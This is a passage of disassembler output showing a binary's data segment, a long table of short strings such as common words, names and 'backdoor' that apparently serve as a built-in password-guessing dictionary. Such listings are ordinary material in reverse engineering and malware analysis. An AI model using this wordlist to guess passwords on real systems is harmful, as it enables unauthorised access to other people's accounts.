... align 10h aFight db 'fight',0 ; DATA XREF: seg002:0042CCB4o align 4 aField db 'field',0 ; DATA XREF: seg002:0042CCB0o align 10h aFidelity db 'fidelity',0 ; DATA XREF: seg002:0042CCACo align 4 aFerrari db 'ferrari',0 ; DATA XREF: seg002:0042CCA8o aFermat db 'fermat',0 ; DATA XREF: seg002:0042CCA4o align 4 aFender db 'fender',0 ; DATA XREF: seg002:0042CCA0o align 4 aFelicia db 'felicia',0 ; DATA XREF: seg002:0042CC9Co aFeds db 'feds',0 ; DATA XREF: seg002:0042CC98o align 4 aFear db 'fear',0 ; DATA XREF: seg002:0042CC94o align 4 aFast db 'fast',0 ; DATA XREF: seg002:0042CC90o align 4 aFart db 'fart',0 ; DATA XREF: seg002:0042CC8Co align 4 aFaraday db 'faraday',0 ; DATA XREF: seg002:0042CC88o aFarad db 'farad',0 ; DATA XREF: seg002:0042CC84o align 4 aFamily db 'family',0 ; DATA XREF: seg002:0042CC80o align 4 aFalse db 'false',0 ; DATA XREF: seg002:0042CC7Co align 4 aFalcon db 'falcon',0 ; DATA XREF: seg002:0042CC78o align 4 aFaith db 'faith',0 ; DATA XREF: seg002:0042CC74o align 4 aFairway db 'fairway',0 ; DATA XREF: seg002:0042CC70o aExtensio db 'extensio',0 ; DATA XREF: seg002:0042CC6Co align 10h aExplosiv db 'explosiv',0 ; DATA XREF: seg002:0042CC68o align 4 aExplorer db 'explorer',0 ; DATA XREF: seg002:0042CC64o align 4 aExplore db 'explore',0 ; DATA XREF: seg002:0042CC60o aExplode db 'explode',0 ; DATA XREF: seg002:0042CC5Co aExpert db 'expert',0 ; DATA XREF: seg002:0042CC58o align 10h aEvelyn db 'evelyn',0 ; DATA XREF: seg002:0042CC54o align 4 aEuclid db 'euclid',0 ; DATA XREF: seg002:0042CC50o align 10h aEternity db 'eternity',0 ; DATA XREF: seg002:0042CC4Co align 4 aEstate db 'estate',0 ; DATA XREF: seg002:0042CC48o align 4 aEstablis db 'establis',0 ; DATA XREF: seg002:0042CC44o align 10h aErsatz db 'ersatz',0 ; DATA XREF: seg002:0042CC40o align 4 aErotic db 'erotic',0 ; DATA XREF: seg002:0042CC3Co align 10h aErin db 'erin',0 ; DATA XREF: seg002:0042CC38o align 4 aErika db 'erika',0 ; DATA XREF: seg002:0042CC34o align 10h aErica db 'erica',0 ; DATA XREF: seg002:0042CC30o align 4 aEric db 'eric',0 ; DATA XREF: seg002:0042CC2Co align 10h aErenity db 'erenity',0 ; DATA XREF: seg002:0042CC28o aEnzyme db 'enzyme',0 ; DATA XREF: seg002:0042CC24o align 10h aEnterpri db 'enterpri',0 ; DATA XREF: seg002:0042CC20o align 4 aEnter db 'enter',0 ; DATA XREF: seg002:0042CC1Co align 4 aEnglish db 'english',0 ; DATA XREF: seg002:0042CC18o aEngland db 'england',0 ; DATA XREF: seg002:0042CC14o aEngineer db 'engineer',0 ; DATA XREF: seg002:0042CC10o align 10h aEngine db 'engine',0 ; DATA XREF: seg002:0042CC0Co align 4 aEnemy db 'enemy',0 ; DATA XREF: seg002:0042CC08o align 10h aEmmanuel db 'emmanuel',0 ; DATA XREF: seg002:0042CC04o align 4 aEmily db 'emily',0 ; DATA XREF: seg002:0042CC00o align 4 aEmerald db 'emerald',0 ; DATA XREF: seg002:0042CBFCo aEmail db 'email',0 ; DATA XREF: seg002:0042CBF8o align 4 aEllen db 'ellen',0 ; DATA XREF: seg002:0042CBF4o align 4 aElizabet db 'elizabet',0 ; DATA XREF: seg002:0042CBF0o align 4 aElephant db 'elephant',0 ; DATA XREF: seg002:0042CBECo align 4 aElectron db 'electron',0 ; DATA XREF: seg002:0042CBE8o align 10h aElanor db 'elanor',0 ; DATA XREF: seg002:0042CBE4o align 4 aElaine db 'elaine',0 ; DATA XREF: seg002:0042CBE0o align 10h aEinstein db 'einstein',0 ; DATA XREF: seg002:0042CBDCo align 4 aEinsiein db 'einsiein',0 ; DATA XREF: seg002:0042CBD8o align 4 aEileen db 'eileen',0 ; DATA XREF: seg002:0042CBD4o align 10h aEiderdow db 'eiderdow',0 ; DATA XREF: seg002:0042CBD0o align 4 aEgghead db 'egghead',0 ; DATA XREF: seg002:0042CBCCo aEdwina db 'edwina',0 ; DATA XREF: seg002:0042CBC8o align 4 aEdwin db 'edwin',0 ; DATA XREF: seg002:0042CBC4o align 4 aEducatio db 'educatio',0 ; DATA XREF: seg002:0042CBC0o align 10h aEducation db 'education',0 ; DATA XREF: seg002:0042CBBCo align 4 aEdition db 'edition',0 ; DATA XREF: seg002:0042CBB8o aEdit db 'edit',0 ; DATA XREF: seg002:0042CBB4o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: seg002:0042CBB0o align 4 aEdges db 'edges',0 ; DATA XREF: seg002:0042CBACo align 10h aEddie db 'eddie',0 ; DATA XREF: seg002:0042CBA8o align 4 aEcho db 'echo',0 ; DATA XREF: seg002:0042CBA4o align 10h aEatme db 'eatme',0 ; DATA XREF: seg002:0042CBA0o align 4 aEasy db 'easy',0 ; DATA XREF: seg002:0042CB9Co align 10h aEasier db 'easier',0 ; DATA XREF: seg002:0042CB98o align 4 aEarth db 'earth',0 ; DATA XREF: seg002:0042CB94o align 10h aEagle db 'eagle',0 ; DATA XREF: seg002:0042CB90o align 4 aEager db 'eager',0 ; DATA XREF: seg002:0042CB8Co align 10h aDyke db 'dyke',0 ; DATA XREF: seg002:0042CB88o align 4 aDungeon db 'dungeon',0 ; DATA XREF: seg002:0042CB84o aDuncan db 'duncan',0 ; DATA XREF: seg002:0042CB80o align 4 aDulce db 'dulce',0 ; DATA XREF: seg002:0042CB7Co align 10h aDuke db 'duke',0 ; DATA XREF: seg002:0042CB78o align 4 aDuelist db 'duelist',0 ; DATA XREF: seg002:0042CB74o aDude db 'dude',0 ; DATA XREF: seg002:0042CB70o align 4 aDuck db 'duck',0 ; DATA XREF: seg002:0042CB6Co align 10h aDrought db 'drought',0 ; DATA XREF: seg002:0042CB68o aDrive db 'drive',0 ; DATA XREF: seg002:0042CB64o align 10h aDrdoom db 'drdoom',0 ; DATA XREF: seg002:0042CB60o align 4 aDragon db 'dragon',0 ; DATA XREF: seg002:0042CB5Co align 10h aDownload db 'download',0 ; DATA XREF: seg002:0042CB58o align 4 aDope db 'dope',0 ; DATA XREF: seg002:0042CB54o align 4 aDoors db 'doors',0 ; DATA XREF: seg002:0042CB50o align 4 aDoor db 'door',0 ; DATA XREF: seg002:0042CB4Co align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: seg002:0042CB48o align 10h aDoomsday db 'doomsday',0 ; DATA XREF: seg002:0042CB44o align 4 aDoomii db 'doomii',0 ; DATA XREF: seg002:0042CB40o align 4 aDoom2 db 'doom2',0 ; DATA XREF: seg002:0042CB3Co align 4 aDoom db 'doom',0 ; DATA XREF: seg002:0042CB38o align 4 aDong db 'dong',0 ; DATA XREF: seg002:0042CB34o align 4 aDollar db 'dollar',0 ; DATA XREF: seg002:0042CB30o align 4 aDoctor db 'doctor',0 ; DATA XREF: seg002:0042CB2Co align 4 aDisplay db 'display',0 ; DATA XREF: seg002:0042CB28o aDisney db 'disney',0 ; DATA XREF: seg002:0042CB24o align 4 aDiskette db 'diskette',0 ; DATA XREF: seg002:0042CB20o align 4 aDisk_0 db 'disk',0 ; DATA XREF: seg002:0042CB1Co align 10h aDiscover db 'discover',0 ; DATA XREF: seg002:0042CB18o align 4 aDisclose db 'disclose',0 ; DATA XREF: seg002:0042CB14o align 4 aDiscipli db 'discipli',0 ; DATA XREF: seg002:0042CB10o align 4 aDisc db 'disc',0 ; DATA XREF: seg002:0042CB0Co align 4 aDirty db 'dirty',0 ; DATA XREF: seg002:0042CB08o align 4 aDirector db 'director',0 ; DATA XREF: seg002:0042CB04o align 10h aDirect db 'direct',0 ; DATA XREF: seg002:0042CB00o align 4 aDipshit db 'dipshit',0 ; DATA XREF: seg002:0042CAFCo aDinosaur db 'dinosaur',0 ; DATA XREF: seg002:0042CAF8o align 4 aDigital db 'digital',0 ; DATA XREF: seg002:0042CAF4o aDieter db 'dieter',0 ; DATA XREF: seg002:0042CAF0o align 4 aDiet db 'diet',0 ; DATA XREF: seg002:0042CAECo align 4 aDiehard db 'diehard',0 ; DATA XREF: seg002:0042CAE8o aDick db 'dick',0 ; DATA XREF: seg002:0042CAE4o align 4 aDice db 'dice',0 ; DATA XREF: seg002:0042CAE0o align 4 aDiane db 'diane',0 ; DATA XREF: seg002:0042CADCo align 4 aDiana db 'diana',0 ; DATA XREF: seg002:0042CAD8o align 4 aDiamond db 'diamond',0 ; DATA XREF: seg002:0042CAD4o aDial db 'dial',0 ; DATA XREF: seg002:0042CAD0o align 4 aDevice db 'device',0 ; DATA XREF: seg002:0042CACCo align 4 aDevelop db 'develop',0 ; DATA XREF: seg002:0042CAC8o aDesperat db 'desperat',0 ; DATA XREF: seg002:0042CAC4o align 4 aDesktop db 'desktop',0 ; DATA XREF: seg002:0042CAC0o aDesk db 'desk',0 ; DATA XREF: seg002:0042CABCo align 4 aDesiree db 'desiree',0 ; DATA XREF: seg002:0042CAB8o aDennis db 'dennis',0 ; DATA XREF: seg002:0042CAB4o align 4 aDenise db 'denise',0 ; DATA XREF: seg002:0042CAB0o align 10h aDemocrat db 'democrat',0 ; DATA XREF: seg002:0042CAACo align 4 aDeluge db 'deluge',0 ; DATA XREF: seg002:0042CAA8o align 4 aDelta db 'delta',0 ; DATA XREF: seg002:0042CAA4o align 4 aDefoe db 'defoe',0 ; DATA XREF: seg002:0042CAA0o align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: seg002:0042CA9Co aDeck db 'deck',0 ; DATA XREF: seg002:0042CA94o align 4 aDecember db 'december',0 ; DATA XREF: seg002:0042CA90o align 10h aDebug db 'debug',0 ; DATA XREF: seg002:0042CA8Co align 4 aDeborah db 'deborah',0 ; DATA XREF: seg002:0042CA88o aDebbie db 'debbie',0 ; DATA XREF: seg002:0042CA84o align 4 aDeathsta db 'deathsta',0 ; DATA XREF: seg002:0042CA80o align 4 aDead db 'dead',0 ; DATA XREF: seg002:0042CA7Co align 4 aDawn db 'dawn',0 ; DATA XREF: seg002:0042CA78o align 4 aDave db 'dave',0 ; DATA XREF: seg002:0042CA74o align 4 aData db 'data',0 ; DATA XREF: seg002:0042CA70o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: seg002:0042CA6Co align 10h aDark db 'dark',0 ; DATA XREF: seg002:0042CA68o align 4 aDapper db 'dapper',0 ; DATA XREF: seg002:0042CA64o align 10h aDanny db 'danny',0 ; DATA XREF: seg002:0042CA60o align 4 aDanielle db 'danielle',0 ; DATA XREF: seg002:0042CA5Co align 4 aDaniel db 'daniel',0 ; DATA XREF: seg002:0042CA58o align 4 aDancer db 'dancer',0 ; DATA XREF: seg002:0042CA54o align 4 aDana db 'dana',0 ; DATA XREF: seg002:0042CA50o align 4 aDaisy db 'daisy',0 ; DATA XREF: seg002:0042CA4Co align 4 aDaemon db 'daemon',0 ; DATA XREF: seg002:0042CA48o align 4 aCynthia db 'cynthia',0 ; DATA XREF: seg002:0042CA44o aCyberspa db 'cyberspa',0 ; DATA XREF: seg002:0042CA40o align 10h aCyberpun db 'cyberpun',0 ; DATA XREF: seg002:0042CA3Co align 4 aCyber db 'cyber',0 ; DATA XREF: seg002:0042CA38o align 4 aCustomer db 'customer',0 ; DATA XREF: seg002:0042CA34o align 10h aCunt db 'cunt',0 ; DATA XREF: seg002:0042CA30o align 4 aCshrc db 'cshrc',0 ; DATA XREF: seg002:0042CA2Co align 10h aCrystal db 'crystal',0 ; DATA XREF: seg002:0042CA28o aCristina db 'cristina',0 ; DATA XREF: seg002:0042CA24o align 4 aCriminal db 'criminal',0 ; DATA XREF: seg002:0042CA20o align 10h aCrime db 'crime',0 ; DATA XREF: seg002:0042CA1Co align 4 aCretin db 'cretin',0 ; DATA XREF: seg002:0042CA18o align 10h aCreosote db 'creosote',0 ; DATA XREF: seg002:0042CA14o align 4 aCredit db 'credit',0 ; DATA XREF: seg002:0042CA10o align 4 aCreature db 'creature',0 ; DATA XREF: seg002:0042CA0Co align 10h aCreation db 'creation',0 ; DATA XREF: seg002:0042CA08o align 4 aCreate db 'create',0 ; DATA XREF: seg002:0042CA04o align 4 aCream db 'cream',0 ; DATA XREF: seg002:0042CA00o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: seg002:0042C9FCo align 4 aCrack db 'crack',0 ; DATA XREF: seg002:0042C9F8o align 10h aCowboy db 'cowboy',0 ; DATA XREF: seg002:0042C9F4o align 4 aCouscous db 'couscous',0 ; DATA XREF: seg002:0042C9F0o align 4 aCountry db 'country',0 ; DATA XREF: seg002:0042C9ECo aCounters db 'counters',0 ; DATA XREF: seg002:0042C9E8o align 4 aCorrect db 'correct',0 ; DATA XREF: seg002:0042C9E4o aCorneliu db 'corneliu',0 ; DATA XREF: seg002:0042C9E0o align 4 aCopy db 'copy',0 ; DATA XREF: seg002:0042C9DCo align 4 aCops db 'cops',0 ; DATA XREF: seg002:0042C9D8o align 4 aCopper db 'copper',0 ; DATA XREF: seg002:0042C9D4o align 4 aCooper db 'cooper',0 ; DATA XREF: seg002:0042C9D0o align 4 aCool db 'cool',0 ; DATA XREF: seg002:0042C9CCo align 4 aCookie db 'cookie',0 ; DATA XREF: seg002:0042C9C8o align 4 aCookbook db 'cookbook',0 ; DATA XREF: seg002:0042C9C4o align 4 aCook db 'cook',0 ; DATA XREF: seg002:0042C9C0o align 10h aContinue db 'continue',0 ; DATA XREF: seg000:0040EDC1o ; seg002:0042C9BCo align 4 aConsole db 'console',0 ; DATA XREF: seg002:0042C9B8o aConserva db 'conserva',0 ; DATA XREF: seg002:0042C9B4o align 10h aConnie db 'connie',0 ; DATA XREF: seg002:0042C9B0o align 4 aCondom db 'condom',0 ; DATA XREF: seg002:0042C9A8o align 10h aCondo db 'condo',0 ; DATA XREF: seg002:0042C9A4o align 4 aComrades db 'comrades',0 ; DATA XREF: seg002:0042C9A0o align 4 aComrade db 'comrade',0 ; DATA XREF: seg002:0042C99Co aComputin db 'computin',0 ; DATA XREF: seg002:0042C998o align 4 aCompany db 'company',0 ; DATA XREF: seg002:0042C994o aCommrade db 'commrade',0 ; DATA XREF: seg002:0042C990o align 4 aCommit db 'commit',0 ; DATA XREF: seg002:0042C98Co align 4 aComics db 'comics',0 ; DATA XREF: seg002:0042C988o align 4 aCombat db 'combat',0 ; DATA XREF: seg002:0042C984o align 4 aColor db 'color',0 ; DATA XREF: seg002:0042C980o align 4 aCollins db 'collins',0 ; DATA XREF: seg002:0042C97Co aCold db 'cold',0 ; DATA XREF: seg002:0042C978o align 4 aCola db 'cola',0 ; DATA XREF: seg002:0042C974o align 4 aCoke db 'coke',0 ; DATA XREF: seg002:0042C970o align 4 aCoin db 'coin',0 ; DATA XREF: seg002:0042C96Co align 4 aCoffee db 'coffee',0 ; DATA XREF: seg002:0042C968o align 4 aCodeword db 'codeword',0 ; DATA XREF: seg002:0042C964o align 4 aCodename db 'codename',0 ; DATA XREF: seg002:0042C960o align 4 aCode db 'code',0 ; DATA XREF: seg002:0042C95Co align 4 aCock db 'cock',0 ; DATA XREF: seg002:0042C958o align 4 aCocainco db 'cocainco',0 ; DATA XREF: seg002:0042C954o align 10h aCocacola db 'cocacola',0 ; DATA XREF: seg002:0042C950o align 4 aCoast db 'coast',0 ; DATA XREF: seg002:0042C94Co align 4 aClusters db 'clusters',0 ; DATA XREF: seg002:0042C948o align 10h aCluster db 'cluster',0 ; DATA XREF: seg002:0042C944o aClinton db 'clinton',0 ; DATA XREF: seg002:0042C940o aCleavage db 'cleavage',0 ; DATA XREF: seg002:0042C93Co align 4 aClaymore db 'claymore',0 ; DATA XREF: seg002:0042C938o align 4 aClaudia db 'claudia',0 ; DATA XREF: seg002:0042C934o aClassic db 'classic',0 ; DATA XREF: seg002:0042C930o aClasses db 'classes',0 ; DATA XREF: seg002:0042C92Co aClass db 'class',0 ; DATA XREF: seg002:0042C928o align 4 aCindy db 'cindy',0 ; DATA XREF: seg002:0042C924o align 10h aCigarett db 'cigarett',0 ; DATA XREF: seg002:0042C920o align 4 aCigar db 'cigar',0 ; DATA XREF: seg002:0042C91Co align 4 aChristy db 'christy',0 ; DATA XREF: seg002:0042C918o aChristin db 'christin',0 ; DATA XREF: seg002:0042C914o align 4 aChris db 'chris',0 ; DATA XREF: seg002:0042C910o align 10h aChip db 'chip',0 ; DATA XREF: seg002:0042C90Co align 4 aChester db 'chester',0 ; DATA XREF: seg002:0042C908o aChess db 'chess',0 ; DATA XREF: seg002:0042C904o align 4 aChemistr db 'chemistr',0 ; DATA XREF: seg002:0042C900o align 4 aChem db 'chem',0 ; DATA XREF: seg002:0042C8FCo align 4 aChat_0 db 'chat',0 ; DATA XREF: seg002:0042C8F8o align 4 aCharon db 'charon',0 ; DATA XREF: seg002:0042C8F4o align 4 aCharming db 'charming',0 ; DATA XREF: seg002:0042C8F0o align 4 aCharlie db 'charlie',0 ; DATA XREF: seg002:0042C8ECo aCharles db 'charles',0 ; DATA XREF: seg002:0042C8E8o aCharity db 'charity',0 ; DATA XREF: seg002:0042C8E4o aChange db 'change',0 ; DATA XREF: seg002:0042C8E0o align 4 aCerulean db 'cerulean',0 ; DATA XREF: seg002:0042C8DCo align 4 aCeltics db 'celtics',0 ; DATA XREF: seg002:0042C8D8o aCeltic db 'celtic',0 ; DATA XREF: seg002:0042C8D4o align 4 aCelt db 'celt',0 ; DATA XREF: seg002:0042C8D0o align 4 aCecily db 'cecily',0 ; DATA XREF: seg002:0042C8CCo align 4 aCayuga db 'cayuga',0 ; DATA XREF: seg002:0042C8C8o align 4 aCave db 'cave',0 ; DATA XREF: seg002:0042C8C4o align 4 aCathy db 'cathy',0 ; DATA XREF: seg002:0042C8C0o align 4 aCatholic db 'catholic',0 ; DATA XREF: seg002:0042C8BCo align 4 aCatherin db 'catherin',0 ; DATA XREF: seg002:0042C8B8o align 4 aCastle db 'castle',0 ; DATA XREF: seg002:0042C8B4o align 4 aCash db 'cash',0 ; DATA XREF: seg002:0042C8B0o align 4 aCascades db 'cascades',0 ; DATA XREF: seg002:0042C8ACo align 10h aCarson db 'carson',0 ; DATA XREF: seg002:0042C8A8o align 4 aCarrie db 'carrie',0 ; DATA XREF: seg002:0042C8A4o align 10h aCaroline db 'caroline',0 ; DATA XREF: seg002:0042C8A0o align 4 aCarolina db 'carolina',0 ; DATA XREF: seg002:0042C89Co align 4 aCarole db 'carole',0 ; DATA XREF: seg002:0042C898o align 10h aCarol db 'carol',0 ; DATA XREF: seg002:0042C894o align 4 aCarmen db 'carmen',0 ; DATA XREF: seg002:0042C890o align 10h aCarla db 'carla',0 ; DATA XREF: seg002:0042C88Co align 4 aCaren db 'caren',0 ; DATA XREF: seg002:0042C888o align 10h aCardinal db 'cardinal',0 ; DATA XREF: seg002:0042C884o align 4 aCard db 'card',0 ; DATA XREF: seg002:0042C880o align 4 aCapture db 'capture',0 ; DATA XREF: seg002:0042C87Co aCaptain db 'captain',0 ; DATA XREF: seg002:0042C878o aCantor db 'cantor',0 ; DATA XREF: seg002:0042C874o align 4 aCandy db 'candy',0 ; DATA XREF: seg002:0042C870o align 4 aCandi db 'candi',0 ; DATA XREF: seg002:0042C86Co align 4 aCamping db 'camping',0 ; DATA XREF: seg002:0042C868o aCampanil db 'campanil',0 ; DATA XREF: seg002:0042C864o align 10h aCamille db 'camille',0 ; DATA XREF: seg002:0042C860o aCaliforn db 'californ',0 ; DATA XREF: seg002:0042C85Co align 4 aButthead db 'butthead',0 ; DATA XREF: seg002:0042C858o align 10h aButt db 'butt',0 ; DATA XREF: seg002:0042C854o align 4 aButch db 'butch',0 ; DATA XREF: seg002:0042C850o align 10h aBurn db 'burn',0 ; DATA XREF: seg002:0042C84Co align 4 aBurgess db 'burgess',0 ; DATA XREF: seg002:0042C848o aBung db 'bung',0 ; DATA XREF: seg002:0042C844o align 4 aBumbling db 'bumbling',0 ; DATA XREF: seg002:0042C840o align 4 aBullshit db 'bullshit',0 ; DATA XREF: seg002:0042C83Co align 10h aBulls db 'bulls',0 ; DATA XREF: seg002:0042C838o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: seg002:0042C834o align 4 aBrute db 'brute',0 ; DATA XREF: seg002:0042C830o align 4 aBrunette db 'brunette',0 ; DATA XREF: seg002:0042C82Co align 4 aBrothel db 'brothel',0 ; DATA XREF: seg002:0042C828o aBroadway db 'broadway',0 ; DATA XREF: seg002:0042C824o align 4 aBridget db 'bridget',0 ; DATA XREF: seg002:0042C820o aBrian db 'brian',0 ; DATA XREF: seg002:0042C81Co align 4 aBrenda db 'brenda',0 ; DATA XREF: seg002:0042C818o align 4 aBreast db 'breast',0 ; DATA XREF: seg002:0042C814o align 4 aBreak db 'break',0 ; DATA XREF: seg002:0042C810o align 4 aBravo db 'bravo',0 ; DATA XREF: seg002:0042C80Co align 4 aBrandy db 'brandy',0 ; DATA XREF: seg002:0042C808o align 4 aBrandi db 'brandi',0 ; DATA XREF: seg002:0042C804o align 4 aBradley db 'bradley',0 ; DATA XREF: seg002:0042C800o aBoyscout db 'boyscout',0 ; DATA XREF: seg002:0042C7FCo align 10h aBorn db 'born',0 ; DATA XREF: seg002:0042C7F8o align 4 aBook db 'book',0 ; DATA XREF: seg002:0042C7F4o align 10h aBoobs db 'boobs',0 ; DATA XREF: seg002:0042C7F0o align 4 aBoob db 'boob',0 ; DATA XREF: seg002:0042C7ECo align 10h aBoner db 'boner',0 ; DATA XREF: seg002:0042C7E8o align 4 aBomb db 'bomb',0 ; DATA XREF: seg002:0042C7E4o align 10h aBoard db 'board',0 ; DATA XREF: seg002:0042C7E0o align 4 aBlues db 'blues',0 ; DATA XREF: seg002:0042C7DCo align 10h aBlue db 'blue',0 ; DATA XREF: seg002:0042C7D8o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: seg002:0042C7D4o aBlow db 'blow',0 ; DATA XREF: seg002:0042C7D0o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: seg002:0042C7CCo align 4 aBlood db 'blood',0 ; DATA XREF: seg002:0042C7C8o align 4 aBlondie db 'blondie',0 ; DATA XREF: seg002:0042C7C4o aBlonde db 'blonde',0 ; DATA XREF: seg002:0042C7C0o align 4 aBlack db 'black',0 ; DATA XREF: seg002:0042C7BCo align 4 aBitnet db 'bitnet',0 ; DATA XREF: seg002:0042C7B8o align 4 aBitmap db 'bitmap',0 ; DATA XREF: seg002:0042C7B4o align 4 aBitch db 'bitch',0 ; DATA XREF: seg002:0042C7B0o align 4 aBishop db 'bishop',0 ; DATA XREF: seg002:0042C7ACo align 4 aBird db 'bird',0 ; DATA XREF: seg002:0042C7A8o align 4 aBios db 'bios',0 ; DATA XREF: seg002:0042C7A4o align 4 aBinary db 'binary',0 ; DATA XREF: seg002:0042C7A0o align 4 aBill db 'bill',0 ; DATA XREF: seg002:0042C79Co align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: seg002:0042C798o aBicamera db 'bicamera',0 ; DATA XREF: seg002:0042C794o align 4 aBible db 'bible',0 ; DATA XREF: seg002:0042C790o align 10h aBeverly db 'beverly',0 ; DATA XREF: seg002:0042C78Co aBetty db 'betty',0 ; DATA XREF: seg002:0042C788o align 10h aBetsie db 'betsie',0 ; DATA XREF: seg002:0042C784o align 4 aBeth db 'beth',0 ; DATA XREF: seg002:0042C780o align 10h aBeta db 'beta',0 ; DATA XREF: seg002:0042C77Co align 4 aBeryl db 'beryl',0 ; DATA XREF: seg002:0042C778o align 10h aBerliner db 'berliner',0 ; DATA XREF: seg002:0042C774o align 4 aBerlin db 'berlin',0 ; DATA XREF: seg002:0042C770o align 4 aBerkeley db 'berkeley',0 ; DATA XREF: seg002:0042C76Co align 10h aBeowulf db 'beowulf',0 ; DATA XREF: seg002:0042C768o aBenz db 'benz',0 ; DATA XREF: seg002:0042C764o align 10h aBeloved db 'beloved',0 ; DATA XREF: seg002:0042C760o aBell db 'bell',0 ; DATA XREF: seg002:0042C75Co align 10h aBehead db 'behead',0 ; DATA XREF: seg002:0042C758o align 4 aBegin db 'begin',0 ; DATA XREF: seg002:0042C754o align 10h aBeethove db 'beethove',0 ; DATA XREF: seg002:0042C750o align 4 aBecky db 'becky',0 ; DATA XREF: seg002:0042C74Co align 4 aBeaver db 'beaver',0 ; DATA XREF: seg002:0042C748o align 4 aBeauty db 'beauty',0 ; DATA XREF: seg002:0042C744o align 4 aBeater db 'beater',0 ; DATA XREF: seg002:0042C740o align 4 aBeast db 'beast',0 ; DATA XREF: seg002:0042C73Co align 4 aBear db 'bear',0 ; DATA XREF: seg002:0042C738o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: seg002:0042C734o align 4 aBeach db 'beach',0 ; DATA XREF: seg002:0042C730o align 10h aBatman db 'batman',0 ; DATA XREF: seg002:0042C72Co align 4 aBatch db 'batch',0 ; DATA XREF: seg002:0042C728o align 10h aBassoon db 'bassoon',0 ; DATA XREF: seg002:0042C724o aBass db 'bass',0 ; DATA XREF: seg002:0042C720o align 10h aBasic db 'basic',0 ; DATA XREF: seg002:0042C71Co align 4 aBaseball db 'baseball',0 ; DATA XREF: seg002:0042C718o align 4 aBartman db 'bartman',0 ; DATA XREF: seg002:0042C714o aBart db 'bart',0 ; DATA XREF: seg002:0042C710o align 4 aBaritone db 'baritone',0 ; DATA XREF: seg002:0042C70Co align 10h aBarf db 'barf',0 ; DATA XREF: seg002:0042C708o align 4 aBare db 'bare',0 ; DATA XREF: seg002:0042C704o align 10h aBarber db 'barber',0 ; DATA XREF: seg002:0042C700o align 4 aBarbara db 'barbara',0 ; DATA XREF: seg002:0042C6FCo aBanks db 'banks',0 ; DATA XREF: seg002:0042C6F8o align 4 aBank db 'bank',0 ; DATA XREF: seg002:0042C6F4o align 10h aBandit db 'bandit',0 ; DATA XREF: seg002:0042C6F0o align 4 aBananas db 'bananas',0 ; DATA XREF: seg002:0042C6ECo aBanana db 'banana',0 ; DATA XREF: seg002:0042C6E8o align 4 aBall db 'ball',0 ; DATA XREF: seg002:0042C6E4o align 10h aBailey db 'bailey',0 ; DATA XREF: seg002:0042C6E0o align 4 aBadass db 'badass',0 ; DATA XREF: seg002:0042C6DCo align 10h aBackdoor db 'backdoor',0 ; DATA XREF: seg002:0042C6D8o align 4 aBacchus db 'bacchus',0 ; DATA XREF: seg002:0042C6D4o aBaby db 'baby',0 ; DATA XREF: seg002:0042C6D0o align 4 aBabe db 'babe',0 ; DATA XREF: seg002:0042C6CCo align 4 aAzure db 'azure',0 ; DATA XREF: seg002:0042C6C8o align 4 aAztecs db 'aztecs',0 ; DATA XREF: seg002:0042C6C4o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: seg002:0042C6C0o align 10h aAttack db 'attack',0 ; DATA XREF: seg002:0042C6BCo align 4 aAtom db 'atom',0 ; DATA XREF: seg002:0042C6B8o align 10h aAtmosphe db 'atmosphe',0 ; DATA XREF: seg002:0042C6B4o align 4 aAthena db 'athena',0 ; DATA XREF: seg002:0042C6B0o align 4 aAsshole db 'asshole',0 ; DATA XREF: seg002:0042C6ACo aAsian db 'asian',0 ; DATA XREF: seg002:0042C6A8o align 4 aArtist db 'artist',0 ; DATA XREF: seg002:0042C6A4o align 4 aArthur db 'arthur',0 ; DATA XREF: seg002:0042C6A0o align 4 aArrow db 'arrow',0 ; DATA XREF: seg002:0042C69Co align 4 aArmy db 'army',0 ; DATA XREF: seg002:0042C698o align 4 aArlene db 'arlene',0 ; DATA XREF: seg002:0042C694o align 4 aAriadne db 'ariadne',0 ; DATA XREF: seg002:0042C690o aAria db 'aria',0 ; DATA XREF: seg002:0042C68Co align 4 aApril db 'april',0 ; DATA XREF: seg002:0042C688o align 4 aApollo13 db 'apollo13',0 ; DATA XREF: seg002:0042C684o align 10h aAnything db 'anything',0 ; DATA XREF: seg002:0042C680o align 4 aAnvils db 'anvils',0 ; DATA XREF: seg002:0042C67Co align 4 aAnthropo db 'anthropo',0 ; DATA XREF: seg002:0042C678o align 10h aAnthrax db 'anthrax',0 ; DATA XREF: seg002:0042C674o aAnswer db 'answer',0 ; DATA XREF: seg002:0042C670o align 10h aAnonymou db 'anonymou',0 ; DATA XREF: seg002:0042C66Co align 4 aAnon db 'anon',0 ; DATA XREF: seg002:0042C668o align 4 aAnnette db 'annette',0 ; DATA XREF: seg002:0042C664o aAnne db 'anne',0 ; DATA XREF: seg002:0042C660o align 4 aAnna db 'anna',0 ; DATA XREF: seg002:0042C65Co align 4 aAnita db 'anita',0 ; DATA XREF: seg002:0042C658o align 4 aAnimals db 'animals',0 ; DATA XREF: seg002:0042C654o aAnimal db 'animal',0 ; DATA XREF: seg002:0042C650o align 4 aAngie db 'angie',0 ; DATA XREF: seg002:0042C64Co align 4 aAngerine db 'angerine',0 ; DATA XREF: seg002:0042C648o align 4 aAngela db 'angela',0 ; DATA XREF: seg002:0042C644o align 10h aAnfo db 'anfo',0 ; DATA XREF: seg002:0042C640o align 4 aAndy db 'andy',0 ; DATA XREF: seg002:0042C63Co align 10h aAndromac db 'andromac',0 ; DATA XREF: seg002:0042C638o align 4 aAndroid db 'android',0 ; DATA XREF: seg002:0042C634o aAndrea db 'andrea',0 ; DATA XREF: seg002:0042C630o align 4 aAnchor db 'anchor',0 ; DATA XREF: seg002:0042C62Co align 4 aAnarchy db 'anarchy',0 ; DATA XREF: seg002:0042C628o aAnarchis db 'anarchis',0 ; DATA XREF: seg002:0042C624o align 4 aAnalog db 'analog',0 ; DATA XREF: seg002:0042C620o align 10h aAnal db 'anal',0 ; DATA XREF: seg002:0042C61Co align 4 aAmorphou db 'amorphou',0 ; DATA XREF: seg002:0042C618o align 4 aAmerica db 'america',0 ; DATA XREF: seg002:0042C614o 